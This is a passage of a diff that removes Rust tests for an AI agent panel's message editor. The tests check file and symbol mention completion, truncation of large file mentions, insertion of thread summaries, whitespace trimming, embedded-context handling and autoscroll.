-            assert!(editor.has_visible_completions_menu());
-            editor.context_menu_next(&editor::actions::ContextMenuNext, window, cx);
-            editor.context_menu_next(&editor::actions::ContextMenuNext, window, cx);
-            editor.context_menu_next(&editor::actions::ContextMenuNext, window, cx);
-            editor.context_menu_next(&editor::actions::ContextMenuNext, window, cx);
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        cx.run_until_parked();
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(editor.text(cx), "Lorem @file ");
-            assert!(editor.has_visible_completions_menu());
-        });
-
-        cx.simulate_input("one");
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(editor.text(cx), "Lorem @file one");
-            assert!(editor.has_visible_completions_menu());
-            assert_eq!(
-                current_completion_labels(editor),
-                vec![format!("one.txt a{slash}")]
-            );
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert!(editor.has_visible_completions_menu());
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        let url_one = MentionUri::File {
-            abs_path: path!("/dir/a/one.txt").into(),
-        }
-        .to_uri()
-        .to_string();
-        editor.update(&mut cx, |editor, cx| {
-            let text = editor.text(cx);
-            assert_eq!(text, format!("Lorem [@one.txt]({url_one}) "));
-            assert!(!editor.has_visible_completions_menu());
-            assert_eq!(fold_ranges(editor, cx).len(), 1);
-        });
-
-        let contents = message_editor
-            .update(&mut cx, |message_editor, cx| {
-                message_editor
-                    .mention_set()
-                    .update(cx, |mention_set, cx| mention_set.contents(false, cx))
-            })
-            .await
-            .unwrap()
-            .into_values()
-            .collect::<Vec<_>>();
-
-        {
-            let [(uri, Mention::Text { content, .. })] = contents.as_slice() else {
-                panic!("Unexpected mentions");
-            };
-            pretty_assertions::assert_eq!(content, "1");
-            pretty_assertions::assert_eq!(
-                uri,
-                &MentionUri::parse(&url_one, PathStyle::local()).unwrap()
-            );
-        }
-
-        cx.simulate_input(" ");
-
-        editor.update(&mut cx, |editor, cx| {
-            let text = editor.text(cx);
-            assert_eq!(text, format!("Lorem [@one.txt]({url_one})  "));
-            assert!(!editor.has_visible_completions_menu());
-            assert_eq!(fold_ranges(editor, cx).len(), 1);
-        });
-
-        cx.simulate_input("Ipsum ");
-
-        editor.update(&mut cx, |editor, cx| {
-            let text = editor.text(cx);
-            assert_eq!(text, format!("Lorem [@one.txt]({url_one})  Ipsum "),);
-            assert!(!editor.has_visible_completions_menu());
-            assert_eq!(fold_ranges(editor, cx).len(), 1);
-        });
-
-        cx.simulate_input("@file ");
-
-        editor.update(&mut cx, |editor, cx| {
-            let text = editor.text(cx);
-            assert_eq!(text, format!("Lorem [@one.txt]({url_one})  Ipsum @file "),);
-            assert!(editor.has_visible_completions_menu());
-            assert_eq!(fold_ranges(editor, cx).len(), 1);
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        cx.run_until_parked();
-
-        let contents = message_editor
-            .update(&mut cx, |message_editor, cx| {
-                message_editor
-                    .mention_set()
-                    .update(cx, |mention_set, cx| mention_set.contents(false, cx))
-            })
-            .await
-            .unwrap()
-            .into_values()
-            .collect::<Vec<_>>();
-
-        let url_eight = MentionUri::File {
-            abs_path: path!("/dir/b/eight.txt").into(),
-        }
-        .to_uri()
-        .to_string();
-
-        {
-            let [_, (uri, Mention::Text { content, .. })] = contents.as_slice() else {
-                panic!("Unexpected mentions");
-            };
-            pretty_assertions::assert_eq!(content, "8");
-            pretty_assertions::assert_eq!(
-                uri,
-                &MentionUri::parse(&url_eight, PathStyle::local()).unwrap()
-            );
-        }
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(
-                editor.text(cx),
-                format!("Lorem [@one.txt]({url_one})  Ipsum [@eight.txt]({url_eight}) ")
-            );
-            assert!(!editor.has_visible_completions_menu());
-            assert_eq!(fold_ranges(editor, cx).len(), 2);
-        });
-
-        let plain_text_language = Arc::new(language::Language::new(
-            language::LanguageConfig {
-                name: "Plain Text".into(),
-                matcher: language::LanguageMatcher {
-                    path_suffixes: vec!["txt".to_string()],
-                    ..Default::default()
-                },
-                ..Default::default()
-            },
-            None,
-        ));
-
-        // Register the language and fake LSP
-        let language_registry = project.read_with(&cx, |project, _| project.languages().clone());
-        language_registry.add(plain_text_language);
-
-        let mut fake_language_servers = language_registry.register_fake_lsp(
-            "Plain Text",
-            language::FakeLspAdapter {
-                capabilities: lsp::ServerCapabilities {
-                    workspace_symbol_provider: Some(lsp::OneOf::Left(true)),
-                    ..Default::default()
-                },
-                ..Default::default()
-            },
-        );
-
-        // Open the buffer to trigger LSP initialization
-        let buffer = project
-            .update(&mut cx, |project, cx| {
-                project.open_local_buffer(path!("/dir/a/one.txt"), cx)
-            })
-            .await
-            .unwrap();
-
-        // Register the buffer with language servers
-        let _handle = project.update(&mut cx, |project, cx| {
-            project.register_buffer_with_language_servers(&buffer, cx)
-        });
-
-        cx.run_until_parked();
-
-        let fake_language_server = fake_language_servers.next().await.unwrap();
-        fake_language_server.set_request_handler::<lsp::WorkspaceSymbolRequest, _, _>(
-            move |_, _| async move {
-                Ok(Some(lsp::WorkspaceSymbolResponse::Flat(vec![
-                    #[allow(deprecated)]
-                    lsp::SymbolInformation {
-                        name: "MySymbol".into(),
-                        location: lsp::Location {
-                            uri: lsp::Uri::from_file_path(path!("/dir/a/one.txt")).unwrap(),
-                            range: lsp::Range::new(
-                                lsp::Position::new(0, 0),
-                                lsp::Position::new(0, 1),
-                            ),
-                        },
-                        kind: lsp::SymbolKind::CONSTANT,
-                        tags: None,
-                        container_name: None,
-                        deprecated: None,
-                    },
-                ])))
-            },
-        );
-
-        cx.simulate_input("@symbol ");
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(
-                editor.text(cx),
-                format!("Lorem [@one.txt]({url_one})  Ipsum [@eight.txt]({url_eight}) @symbol ")
-            );
-            assert!(editor.has_visible_completions_menu());
-            assert_eq!(current_completion_labels(editor), &["MySymbol one.txt L1"]);
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        let symbol = MentionUri::Symbol {
-            abs_path: path!("/dir/a/one.txt").into(),
-            name: "MySymbol".into(),
-            line_range: 0..=0,
-        };
-
-        let contents = message_editor
-            .update(&mut cx, |message_editor, cx| {
-                message_editor
-                    .mention_set()
-                    .update(cx, |mention_set, cx| mention_set.contents(false, cx))
-            })
-            .await
-            .unwrap()
-            .into_values()
-            .collect::<Vec<_>>();
-
-        {
-            let [_, _, (uri, Mention::Text { content, .. })] = contents.as_slice() else {
-                panic!("Unexpected mentions");
-            };
-            pretty_assertions::assert_eq!(content, "1");
-            pretty_assertions::assert_eq!(uri, &symbol);
-        }
-
-        cx.run_until_parked();
-
-        editor.read_with(&cx, |editor, cx| {
-            assert_eq!(
-                editor.text(cx),
-                format!(
-                    "Lorem [@one.txt]({url_one})  Ipsum [@eight.txt]({url_eight}) [@MySymbol]({}) ",
-                    symbol.to_uri(),
-                )
-            );
-        });
-
-        // Try to mention an "image" file that will fail to load
-        cx.simulate_input("@file x.png");
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(
-                editor.text(cx),
-                format!("Lorem [@one.txt]({url_one})  Ipsum [@eight.txt]({url_eight}) [@MySymbol]({}) @file x.png", symbol.to_uri())
-            );
-            assert!(editor.has_visible_completions_menu());
-            assert_eq!(current_completion_labels(editor), &["x.png "]);
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        // Getting the message contents fails
-        message_editor
-            .update(&mut cx, |message_editor, cx| {
-                message_editor
-                    .mention_set()
-                    .update(cx, |mention_set, cx| mention_set.contents(false, cx))
-            })
-            .await
-            .expect_err("Should fail to load x.png");
-
-        cx.run_until_parked();
-
-        // Mention was removed
-        editor.read_with(&cx, |editor, cx| {
-            assert_eq!(
-                editor.text(cx),
-                format!(
-                    "Lorem [@one.txt]({url_one})  Ipsum [@eight.txt]({url_eight}) [@MySymbol]({}) ",
-                    symbol.to_uri()
-                )
-            );
-        });
-
-        // Once more
-        cx.simulate_input("@file x.png");
-
-        editor.update(&mut cx, |editor, cx| {
-                    assert_eq!(
-                        editor.text(cx),
-                        format!("Lorem [@one.txt]({url_one})  Ipsum [@eight.txt]({url_eight}) [@MySymbol]({}) @file x.png", symbol.to_uri())
-                    );
-                    assert!(editor.has_visible_completions_menu());
-                    assert_eq!(current_completion_labels(editor), &["x.png "]);
-                });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        // This time don't immediately get the contents, just let the confirmed completion settle
-        cx.run_until_parked();
-
-        // Mention was removed
-        editor.read_with(&cx, |editor, cx| {
-            assert_eq!(
-                editor.text(cx),
-                format!(
-                    "Lorem [@one.txt]({url_one})  Ipsum [@eight.txt]({url_eight}) [@MySymbol]({}) ",
-                    symbol.to_uri()
-                )
-            );
-        });
-
-        // Now getting the contents succeeds, because the invalid mention was removed
-        let contents = message_editor
-            .update(&mut cx, |message_editor, cx| {
-                message_editor
-                    .mention_set()
-                    .update(cx, |mention_set, cx| mention_set.contents(false, cx))
-            })
-            .await
-            .unwrap();
-        assert_eq!(contents.len(), 3);
-    }
-
-    fn fold_ranges(editor: &Editor, cx: &mut App) -> Vec<Range<Point>> {
-        let snapshot = editor.buffer().read(cx).snapshot(cx);
-        editor.display_map.update(cx, |display_map, cx| {
-            display_map
-                .snapshot(cx)
-                .folds_in_range(MultiBufferOffset(0)..snapshot.len())
-                .map(|fold| fold.range.to_point(&snapshot))
-                .collect()
-        })
-    }
-
-    fn current_completion_labels(editor: &Editor) -> Vec<String> {
-        let completions = editor.current_completions().expect("Missing completions");
-        completions
-            .into_iter()
-            .map(|completion| completion.label.text)
-            .collect::<Vec<_>>()
-    }
-
-    fn current_completion_labels_with_documentation(editor: &Editor) -> Vec<(String, String)> {
-        let completions = editor.current_completions().expect("Missing completions");
-        completions
-            .into_iter()
-            .map(|completion| {
-                (
-                    completion.label.text,
-                    completion
-                        .documentation
-                        .map(|d| d.text().to_string())
-                        .unwrap_or_default(),
-                )
-            })
-            .collect::<Vec<_>>()
-    }
-
-    #[gpui::test]
-    async fn test_large_file_mention_fallback(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-
-        // Create a large file that exceeds AUTO_OUTLINE_SIZE
-        // Using plain text without a configured language, so no outline is available
-        const LINE: &str = "This is a line of text in the file\n";
-        let large_content = LINE.repeat(2 * (outline::AUTO_OUTLINE_SIZE / LINE.len()));
-        assert!(large_content.len() > outline::AUTO_OUTLINE_SIZE);
-
-        // Create a small file that doesn't exceed AUTO_OUTLINE_SIZE
-        let small_content = "fn small_function() { /* small */ }\n";
-        assert!(small_content.len() < outline::AUTO_OUTLINE_SIZE);
-
-        fs.insert_tree(
-            "/project",
-            json!({
-                "large_file.txt": large_content.clone(),
-                "small_file.txt": small_content,
-            }),
-        )
-        .await;
-
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = Some(cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let message_editor = cx.update(|window, cx| {
-            cx.new(|cx| {
-                let editor = MessageEditor::new(
-                    workspace.downgrade(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                );
-                // Enable embedded context so files are actually included
-                editor
-                    .prompt_capabilities
-                    .replace(acp::PromptCapabilities::new().embedded_context(true));
-                editor
-            })
-        });
-
-        // Test large file mention
-        // Get the absolute path using the project's worktree
-        let large_file_abs_path = project.read_with(cx, |project, cx| {
-            let worktree = project.worktrees(cx).next().unwrap();
-            let worktree_root = worktree.read(cx).abs_path();
-            worktree_root.join("large_file.txt")
-        });
-        let large_file_task = message_editor.update(cx, |editor, cx| {
-            editor.mention_set().update(cx, |set, cx| {
-                set.confirm_mention_for_file(large_file_abs_path, true, cx)
-            })
-        });
-
-        let large_file_mention = large_file_task.await.unwrap();
-        match large_file_mention {
-            Mention::Text { content, .. } => {
-                // Should contain some of the content but not all of it
-                assert!(
-                    content.contains(LINE),
-                    "Should contain some of the file content"
-                );
-                assert!(
-                    !content.contains(&LINE.repeat(100)),
-                    "Should not contain the full file"
-                );
-                // Should be much smaller than original
-                assert!(
-                    content.len() < large_content.len() / 10,
-                    "Should be significantly truncated"
-                );
-            }
-            _ => panic!("Expected Text mention for large file"),
-        }
-
-        // Test small file mention
-        // Get the absolute path using the project's worktree
-        let small_file_abs_path = project.read_with(cx, |project, cx| {
-            let worktree = project.worktrees(cx).next().unwrap();
-            let worktree_root = worktree.read(cx).abs_path();
-            worktree_root.join("small_file.txt")
-        });
-        let small_file_task = message_editor.update(cx, |editor, cx| {
-            editor.mention_set().update(cx, |set, cx| {
-                set.confirm_mention_for_file(small_file_abs_path, true, cx)
-            })
-        });
-
-        let small_file_mention = small_file_task.await.unwrap();
-        match small_file_mention {
-            Mention::Text { content, .. } => {
-                // Should contain the full actual content
-                assert_eq!(content, small_content);
-            }
-            _ => panic!("Expected Text mention for small file"),
-        }
-    }
-
-    #[gpui::test]
-    async fn test_insert_thread_summary(cx: &mut TestAppContext) {
-        init_test(cx);
-        cx.update(LanguageModelRegistry::test);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree("/project", json!({"file": ""})).await;
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = Some(cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        // Create a thread metadata to insert as summary
-        let thread_metadata = AgentSessionInfo {
-            session_id: acp::SessionId::new("thread-123"),
-            cwd: None,
-            title: Some("Previous Conversation".into()),
-            updated_at: Some(chrono::Utc::now()),
-            meta: None,
-        };
-
-        let message_editor = cx.update(|window, cx| {
-            cx.new(|cx| {
-                let mut editor = MessageEditor::new(
-                    workspace.downgrade(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                );
-                editor.insert_thread_summary(thread_metadata.clone(), window, cx);
-                editor
-            })
-        });
-
-        // Construct expected values for verification
-        let expected_uri = MentionUri::Thread {
-            id: thread_metadata.session_id.clone(),
-            name: thread_metadata.title.as_ref().unwrap().to_string(),
-        };
-        let expected_title = thread_metadata.title.as_ref().unwrap();
-        let expected_link = format!("[@{}]({})", expected_title, expected_uri.to_uri());
-
-        message_editor.read_with(cx, |editor, cx| {
-            let text = editor.text(cx);
-
-            assert!(
-                text.contains(&expected_link),
-                "Expected editor text to contain thread mention link.\nExpected substring: {}\nActual text: {}",
-                expected_link,
-                text
-            );
-
-            let mentions = editor.mention_set().read(cx).mentions();
-            assert_eq!(
-                mentions.len(),
-                1,
-                "Expected exactly one mention after inserting thread summary"
-            );
-
-            assert!(
-                mentions.contains(&expected_uri),
-                "Expected mentions to contain the thread URI"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_insert_thread_summary_skipped_for_external_agents(cx: &mut TestAppContext) {
-        init_test(cx);
-        cx.update(LanguageModelRegistry::test);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree("/project", json!({"file": ""})).await;
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = None;
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let thread_metadata = AgentSessionInfo {
-            session_id: acp::SessionId::new("thread-123"),
-            cwd: None,
-            title: Some("Previous Conversation".into()),
-            updated_at: Some(chrono::Utc::now()),
-            meta: None,
-        };
-
-        let message_editor = cx.update(|window, cx| {
-            cx.new(|cx| {
-                let mut editor = MessageEditor::new(
-                    workspace.downgrade(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                );
-                editor.insert_thread_summary(thread_metadata, window, cx);
-                editor
-            })
-        });
-
-        message_editor.read_with(cx, |editor, cx| {
-            assert!(
-                editor.text(cx).is_empty(),
-                "Expected thread summary to be skipped for external agents"
-            );
-            assert!(
-                editor.mention_set().read(cx).mentions().is_empty(),
-                "Expected no mentions when thread summary is skipped"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_thread_mode_hidden_when_disabled(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree("/project", json!({"file": ""})).await;
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = None;
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let message_editor = cx.update(|window, cx| {
-            cx.new(|cx| {
-                MessageEditor::new(
-                    workspace.downgrade(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        message_editor.update(cx, |editor, _cx| {
-            editor
-                .prompt_capabilities
-                .replace(acp::PromptCapabilities::new().embedded_context(true));
-        });
-
-        let supported_modes = {
-            let app = cx.app.borrow();
-            message_editor.supported_modes(&app)
-        };
-
-        assert!(
-            !supported_modes.contains(&PromptContextType::Thread),
-            "Expected thread mode to be hidden when thread mentions are disabled"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_thread_mode_visible_when_enabled(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree("/project", json!({"file": ""})).await;
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = Some(cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let message_editor = cx.update(|window, cx| {
-            cx.new(|cx| {
-                MessageEditor::new(
-                    workspace.downgrade(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                )
-            })
-        });
-
-        message_editor.update(cx, |editor, _cx| {
-            editor
-                .prompt_capabilities
-                .replace(acp::PromptCapabilities::new().embedded_context(true));
-        });
-
-        let supported_modes = {
-            let app = cx.app.borrow();
-            message_editor.supported_modes(&app)
-        };
-
-        assert!(
-            supported_modes.contains(&PromptContextType::Thread),
-            "Expected thread mode to be visible when enabled"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_whitespace_trimming(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree("/project", json!({"file.rs": "fn main() {}"}))
-            .await;
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = Some(cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let message_editor = cx.update(|window, cx| {
-            cx.new(|cx| {
-                MessageEditor::new(
-                    workspace.downgrade(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                )
-            })
-        });
-        let editor = message_editor.update(cx, |message_editor, _| message_editor.editor.clone());
-
-        cx.run_until_parked();
-
-        editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("  \u{A0}してhello world  ", window, cx);
-        });
-
-        let (content, _) = message_editor
-            .update(cx, |message_editor, cx| message_editor.contents(false, cx))
-            .await
-            .unwrap();
-
-        assert_eq!(content, vec!["してhello world".into()]);
-    }
-
-    #[gpui::test]
-    async fn test_editor_respects_embedded_context_capability(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-
-        let file_content = "fn main() { println!(\"Hello, world!\"); }\n";
-
-        fs.insert_tree(
-            "/project",
-            json!({
-                "src": {
-                    "main.rs": file_content,
-                }
-            }),
-        )
-        .await;
-
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = Some(cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let (message_editor, editor) = workspace.update_in(cx, |workspace, window, cx| {
-            let workspace_handle = cx.weak_entity();
-            let message_editor = cx.new(|cx| {
-                MessageEditor::new(
-                    workspace_handle,
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        max_lines: None,
-                        min_lines: 1,
-                    },
-                    window,
-                    cx,
-                )
-            });
-            workspace.active_pane().update(cx, |pane, cx| {
-                pane.add_item(
-                    Box::new(cx.new(|_| MessageEditorItem(message_editor.clone()))),
-                    true,
-                    true,
-                    None,
-                    window,
-                    cx,
-                );
-            });
-            message_editor.read(cx).focus_handle(cx).focus(window, cx);
-            let editor = message_editor.read(cx).editor().clone();
-            (message_editor, editor)
-        });
-
-        cx.simulate_input("What is in @file main");
-
-        editor.update_in(cx, |editor, window, cx| {
-            assert!(editor.has_visible_completions_menu());
-            assert_eq!(editor.text(cx), "What is in @file main");
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        let content = message_editor
-            .update(cx, |editor, cx| editor.contents(false, cx))
-            .await
-            .unwrap()
-            .0;
-
-        let main_rs_uri = if cfg!(windows) {
-            "file:///C:/project/src/main.rs"
-        } else {
-            "file:///project/src/main.rs"
-        };
-
-        // When embedded context is `false` we should get a resource link
-        pretty_assertions::assert_eq!(
-            content,
-            vec![
-                "What is in ".into(),
-                acp::ContentBlock::ResourceLink(acp::ResourceLink::new("main.rs", main_rs_uri))
-            ]
-        );
-
-        message_editor.update(cx, |editor, _cx| {
-            editor
-                .prompt_capabilities
-                .replace(acp::PromptCapabilities::new().embedded_context(true))
-        });
-
-        let content = message_editor
-            .update(cx, |editor, cx| editor.contents(false, cx))
-            .await
-            .unwrap()
-            .0;
-
-        // When embedded context is `true` we should get a resource
-        pretty_assertions::assert_eq!(
-            content,
-            vec![
-                "What is in ".into(),
-                acp::ContentBlock::Resource(acp::EmbeddedResource::new(
-                    acp::EmbeddedResourceResource::TextResourceContents(
-                        acp::TextResourceContents::new(file_content, main_rs_uri)
-                    )
-                ))
-            ]
-        );
-    }
-
-    #[gpui::test]
-    async fn test_autoscroll_after_insert_selections(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let app_state = cx.update(AppState::test);
-
-        cx.update(|cx| {
-            editor::init(cx);
-            workspace::init(app_state.clone(), cx);
-        });
-
-        app_state
-            .fs
-            .as_fake()
-            .insert_tree(
-                path!("/dir"),
-                json!({
-                    "test.txt": "line1\nline2\nline3\nline4\nline5\n",
-                }),
-            )
-            .await;
-
-        let project = Project::test(app_state.fs.clone(), [path!("/dir").as_ref()], cx).await;
-        let window =
-            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = window
-            .read_with(cx, |mw, _| mw.workspace().clone())
-            .unwrap();
-
-        let worktree = project.update(cx, |project, cx| {
-            let mut worktrees = project.worktrees(cx).collect::<Vec<_>>();
-            assert_eq!(worktrees.len(), 1);
-            worktrees.pop().unwrap()
-        });
-        let worktree_id = worktree.read_with(cx, |worktree, _| worktree.id());
-
-        let mut cx = VisualTestContext::from_window(window.into(), cx);
-
-        // Open a regular editor with the created file, and select a portion of
-        // the text that will be used for the selections that are meant to be
-        // inserted in the agent panel.
-        let editor = workspace
-            .update_in(&mut cx, |workspace, window, cx| {
-                workspace.open_path(
-                    ProjectPath {
-                        worktree_id,
-                        path: rel_path("test.txt").into(),
-                    },
-                    None,
-                    false,
-                    window,
-                    cx,
-                )
-            })
-            .await
-            .unwrap()
-            .downcast::<Editor>()
-            .unwrap();
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.change_selections(Default::default(), window, cx, |selections| {
-                selections.select_ranges([Point::new(0, 0)..Point::new(0, 5)]);
-            });
-        });
-
-        let thread_store = Some(cx.new(|cx| ThreadStore::new(cx)));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        // Create a new `MessageEditor`. The `EditorMode::full()` has to be used
-        // to ensure we have a fixed viewport, so we can eventually actually
-        // place the cursor outside of the visible area.
-        let message_editor = workspace.update_in(&mut cx, |workspace, window, cx| {
-            let workspace_handle = cx.weak_entity();
-            let message_editor = cx.new(|cx| {
-                MessageEditor::new(
-                    workspace_handle,
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::full(),
-                    window,
-                    cx,
-                )
-            });
-            workspace.active_pane().update(cx, |pane, cx| {
-                pane.add_item(
-                    Box::new(cx.new(|_| MessageEditorItem(message_editor.clone()))),
-                    true,
-                    true,
-                    None,
-                    window,
-                    cx,
-                );
-            });
-
-            message_editor
-        });
-
-        message_editor.update_in(&mut cx, |message_editor, window, cx| {
-            message_editor.editor.update(cx, |editor, cx| {
-                // Update the Agent Panel's Message Editor text to have 100
-                // lines, ensuring that the cursor is set at line 90 and that we
-                // then scroll all the way to the top, so the cursor's position
-                // remains off screen.
-                let mut lines = String::new();
-                for _ in 1..=100 {
-                    lines.push_str(&"Another line in the agent panel's message editor\n");
-                }
-                editor.set_text(lines.as_str(), window, cx);
-                editor.change_selections(Default::default(), window, cx, |selections| {
-                    selections.select_ranges([Point::new(90, 0)..Point::new(90, 0)]);
-                });
-                editor.set_scroll_position(gpui::Point::new(0., 0.), window, cx);
-            });
-        });
-
-        cx.run_until_parked();
-
-        // Before proceeding, let's assert that the cursor is indeed off screen,
-        // otherwise the rest of the test doesn't make sense.
-        message_editor.update_in(&mut cx, |message_editor, window, cx| {
-            message_editor.editor.update(cx, |editor, cx| {
-                let snapshot = editor.snapshot(window, cx);
-                let cursor_row = editor.selections.newest::<Point>(&snapshot).head().row;
-                let scroll_top = snapshot.scroll_position().y as u32;
-                let visible_lines = editor.visible_line_count().unwrap() as u32;
-                let visible_range = scroll_top..(scroll_top + visible_lines);
-
-                assert!(!visible_range.contains(&cursor_row));
-            })
-        });
-
-        // Now let's insert the selection in the Agent Panel's editor and
-        // confirm that, after the insertion, the cursor is now in the visible
-        // range.
-        message_editor.update_in(&mut cx, |message_editor, window, cx| {
-            message_editor.insert_selections(window, cx);
-        });
-
-        cx.run_until_parked();
-
-        message_editor.update_in(&mut cx, |message_editor, window, cx| {
-            message_editor.editor.update(cx, |editor, cx| {
-                let snapshot = editor.snapshot(window, cx);
-                let cursor_row = editor.selections.newest::<Point>(&snapshot).head().row;
-                let scroll_top = snapshot.scroll_position().y as u32;
-                let visible_lines = editor.visible_line_count().unwrap() as u32;
-                let visible_range = scroll_top..(scroll_top + visible_lines);
-
-                assert!(visible_range.contains(&cursor_row));
-            })
-        });
